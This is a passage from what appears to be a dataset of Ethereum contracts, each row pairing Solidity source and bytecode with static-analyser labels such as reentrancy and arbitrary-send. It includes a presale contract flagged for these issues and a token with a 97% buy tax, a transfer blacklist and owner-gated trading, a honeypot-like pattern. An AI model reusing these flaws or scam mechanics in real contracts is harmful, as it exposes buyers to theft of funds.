f252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122087ed49dd5679154e511461df96b4750755dbd3735058b246054a48faa201ffe364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,194
0x757f9a1ca2d3af327111c786ef923e67ab586b03
// v7 /** * Presale.sol */ pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. * @param a First number * @param b Second number */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. * @param a First number * @param b Second number */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). * @param a First number * @param b Second number */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. * @param a First number * @param b Second number */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // interface to the crowdsale contract interface CrowdSale { function crowdSaleCheck() external view returns (bool); } /** * @title InvestorsStorage * @dev InvestorStorage contract interface with newInvestment and getInvestedAmount functions which need to be implemented */ interface InvestorsStorage { function newInvestment(address _investor, uint256 _amount) external; function getInvestedAmount(address _investor) external view returns (uint256); } /** * @title TokenContract * @dev Token contract interface with transfer and balanceOf functions which need to be implemented */ interface TokenContract { /** * @dev Transfer funds to recipient address * @param _recipient Recipients address * @param _amount Amount to transfer */ function transfer(address _recipient, uint256 _amount) external returns (bool); /** * @dev Return balance of holders address * @param _holder Holders address */ function balanceOf(address _holder) external view returns (uint256); } /** * @title PreSale * @dev PreSale Contract which executes and handles presale of the tokens */ contract PreSale is Ownable { using SafeMath for uint256; // variables TokenContract public tkn; CrowdSale public cSale; InvestorsStorage public investorsStorage; uint256 public levelEndDate; uint256 public currentLevel; uint256 public levelTokens = 375000; uint256 public tokensSold; uint256 public weiRised; uint256 public ethPrice; address[] public investorsList; bool public presalePaused; bool public presaleEnded; uint256[12] private tokenPrice = [4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 44, 48]; uint256 private baseTokens = 375000; uint256 private usdCentValue; uint256 private minInvestment; /** * @dev Constructor of Presale contract */ constructor() public { tkn = TokenContract(0x95c5bf2e68b76F2276221A8FFc9c47a49E9405Ec); // address of the token contract investorsStorage = InvestorsStorage(0x15c7c30B980ef442d3C811A30346bF9Dd8906137); // address of the storage contract minInvestment = 100 finney; updatePrice(5000); } /** * @dev Fallback payable function which executes additional checks and functionality when tokens need to be sent to the investor */ function() payable public { require(msg.value >= minInvestment); // check for minimum investment amount require(!presalePaused); require(!presaleEnded); prepareSell(msg.sender, msg.value); } /** * @dev Prepare sell of the tokens * @param _investor Investors address * @param _amount Amount invested */ function prepareSell(address _investor, uint256 _amount) private { uint256 remaining; uint256 pricePerCent; uint256 pricePerToken; uint256 toSell; uint256 amount = _amount; uint256 sellInWei; address investor = _investor; pricePerCent = getUSDPrice(); pricePerToken = pricePerCent.mul(tokenPrice[currentLevel]); // calculate the price for each token in the current level toSell = _amount.div(pricePerToken); // calculate the amount to sell if (toSell < levelTokens) { // if there is enough tokens left in the current level, sell from it levelTokens = levelTokens.sub(toSell); weiRised = weiRised.add(_amount); executeSell(investor, toSell, _amount); owner.transfer(_amount); } else { // if not, sell from 2 or more different levels while (amount > 0) { if (toSell > levelTokens) { toSell = levelTokens; // sell all the remaining in the level sellInWei = toSell.mul(pricePerToken); amount = amount.sub(sellInWei); if (currentLevel < 11) { // if is the last level, sell only the tokens left, currentLevel += 1; levelTokens = baseTokens; } else { remaining = amount; amount = 0; } } else { sellInWei = amount; amount = 0; } executeSell(investor, toSell, sellInWei); weiRised = weiRised.add(sellInWei); owner.transfer(amount); if (amount > 0) { toSell = amount.div(pricePerToken); } if (remaining > 0) { // if there is any mount left, it means that is the the last level an there is no more tokens to sell investor.transfer(remaining); owner.transfer(address(this).balance); presaleEnded = true; } } } } /** * @dev Execute sell of the tokens - send investor to investors storage and transfer tokens * @param _investor Investors address * @param _tokens Amount of tokens to be sent * @param _weiAmount Amount invested in wei */ function executeSell(address _investor, uint256 _tokens, uint256 _weiAmount) private { uint256 totalTokens = _tokens * (10 ** 18); tokensSold += _tokens; // update tokens sold investorsStorage.newInvestment(_investor, _weiAmount); // register the invested amount in the storage require(tkn.transfer(_investor, totalTokens)); // transfer the tokens to the investor emit NewInvestment(_investor, totalTokens); } /** * @dev Getter for USD price of tokens */ function getUSDPrice() private view returns (uint256) { return usdCentValue; } /** * @dev Change USD price of tokens * @param _ethPrice New Ether price */ function updatePrice(uint256 _ethPrice) private { uint256 centBase = 1 * 10 ** 16; require(_ethPrice > 0); ethPrice = _ethPrice; usdCentValue = centBase.div(_ethPrice); } /** * @dev Set USD to ETH value * @param _ethPrice New Ether price */ function setUsdEthValue(uint256 _ethPrice) onlyOwner external { // set the ETH value in USD updatePrice(_ethPrice); } /** * @dev Set the crowdsale contract address * @param _crowdSale Crowdsale contract address */ function setCrowdSaleAddress(address _crowdSale) onlyOwner public { // set the crowdsale contract address cSale = CrowdSale(_crowdSale); } /** * @dev Set the storage contract address * @param _investorsStorage Investors storage contract address */ function setStorageAddress(address _investorsStorage) onlyOwner public { // set the storage contract address investorsStorage = InvestorsStorage(_investorsStorage); } /** * @dev Pause the presale * @param _paused Paused state - true/false */ function pausePresale(bool _paused) onlyOwner public { // pause the presale presalePaused = _paused; } /** * @dev Get funds */ function getFunds() onlyOwner public { // request the funds owner.transfer(address(this).balance); } event NewInvestment(address _investor, uint256 tokens); }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305f3a8521461015c5780631f3ee21f146101b35780632ccc8727146101e05780634215da7d1461024d5780634d9b3735146102a4578063518ab2a8146102bb57806359b910d6146102e65780637f9f54951461032957806383fbc2b4146103545780638da5cb5b1461037f5780638f456125146103d65780639dc4b9c914610419578063a79fdbb414610444578063cabe2c0a14610473578063d7299ef71461049e578063e580b2b0146104cd578063ed188f33146104fc578063f2fde38b14610553578063ff186b2e14610596575b601a54341015151561011857600080fd5b600b60009054906101000a900460ff1615151561013457600080fd5b600b60019054906101000a900460ff1615151561015057600080fd5b61015a33346105c1565b005b34801561016857600080fd5b506101716108fb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101de60048036038101908080359060200190929190505050610921565b005b3480156101ec57600080fd5b5061020b60048036038101908080359060200190929190505050610988565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561025957600080fd5b506102626109c6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102b057600080fd5b506102b96109ec565b005b3480156102c757600080fd5b506102d0610ac8565b6040518082815260200191505060405180910390f35b3480156102f257600080fd5b50610327600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ace565b005b34801561033557600080fd5b5061033e610b6d565b6040518082815260200191505060405180910390f35b34801561036057600080fd5b50610369610b73565b6040518082815260200191505060405180910390f35b34801561038b57600080fd5b50610394610b79565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e257600080fd5b50610417600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9e565b005b34801561042557600080fd5b5061042e610c3d565b6040518082815260200191505060405180910390f35b34801561045057600080fd5b50610459610c43565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610488610c56565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104cb600480360381019080803515159060200190929190505050610c5c565b005b3480156104d957600080fd5b506104e2610cd4565b604051808215151515815260200191505060405180910390f35b34801561050857600080fd5b50610511610ce7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055f57600080fd5b50610594600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d0d565b005b3480156105a257600080fd5b506105ab610e62565b6040518082815260200191505060405180910390f35b60008060008060008060008792508890506105da610e68565b9550610601600c600554600c811015156105f057fe5b015487610e7290919063ffffffff16565b94506106168589610ead90919063ffffffff16565b93506006548410156106d05761063784600654610ec890919063ffffffff16565b60068190555061065288600854610ee190919063ffffffff16565b60088190555061066381858a610eff565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc899081150290604051600060405180830381858888f193505050501580156106ca573d6000803e3d6000fd5b506108f0565b5b60008311156108ef5760065484111561074a5760065493506106fc8585610e7290919063ffffffff16565b91506107118284610ec890919063ffffffff16565b9250600b600554101561073d576001600560008282540192505081905550601854600681905550610745565b829650600092505b610752565b829150600092505b61075d818584610eff565b61077282600854610ee190919063ffffffff16565b6008819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156107df573d6000803e3d6000fd5b5060008311156107ff576107fc8584610ead90919063ffffffff16565b93505b60008711156108ea578073ffffffffffffffffffffffffffffffffffffffff166108fc889081150290604051600060405180830381858888f1935050505015801561084e573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156108cd573d6000803e3d6000fd5b506001600b60016101000a81548160ff0219169083151502179055505b6106d1565b5b505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097c57600080fd5b61098581611177565b50565b600a8181548110151561099757fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610ac5573d6000803e3d6000fd5b50565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2957600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60065481565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bf957600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b600b60009054906101000a900460ff1681565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cb757600080fd5b80600b60006101000a81548160ff02191690831515021790555050565b600b60019054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d6857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610da457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b6000601954905090565b6000806000841415610e875760009150610ea6565b8284029050828482811515610e9857fe5b04141515610ea257fe5b8091505b5092915050565b6000808284811515610ebb57fe5b0490508091505092915050565b6000828211151515610ed657fe5b818303905092915050565b6000808284019050838110151515610ef557fe5b8091505092915050565b6000670de0b6b3a76400008302905082600760008282540192505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631e02f80585846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610fe357600080fd5b505af1158015610ff7573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110c057600080fd5b505af11580156110d4573d6000803e3d6000fd5b505050506040513d60208110156110ea57600080fd5b8101908080519060200190929190505050151561110657600080fd5b7f8a7eaad672c52c2966090bc8f26a335bf67d8d1d442189f2f7e430c26aab99ec8482604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050565b6000662386f26fc10000905060008211151561119257600080fd5b816009819055506111ac8282610ead90919063ffffffff16565b60198190555050505600a165627a7a723058200dc966d611ca6792e4a9a57a408faea5f284cb0aec838e85b286c5ab3e3a62cb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,195
0x0e907f220629983f5816e495331b91fa4dc45ea0
/** *Submitted for verification at Etherscan.io on 2022-04-13 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AntiApeApeClub is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Anti Ape Ape Club"; string private constant _symbol = "AAAC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xb29589F4C84ed16bB8c25C79C430e181e364430B); address payable private _marketingAddress = payable(0xb29589F4C84ed16bB8c25C79C430e181e364430B); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( 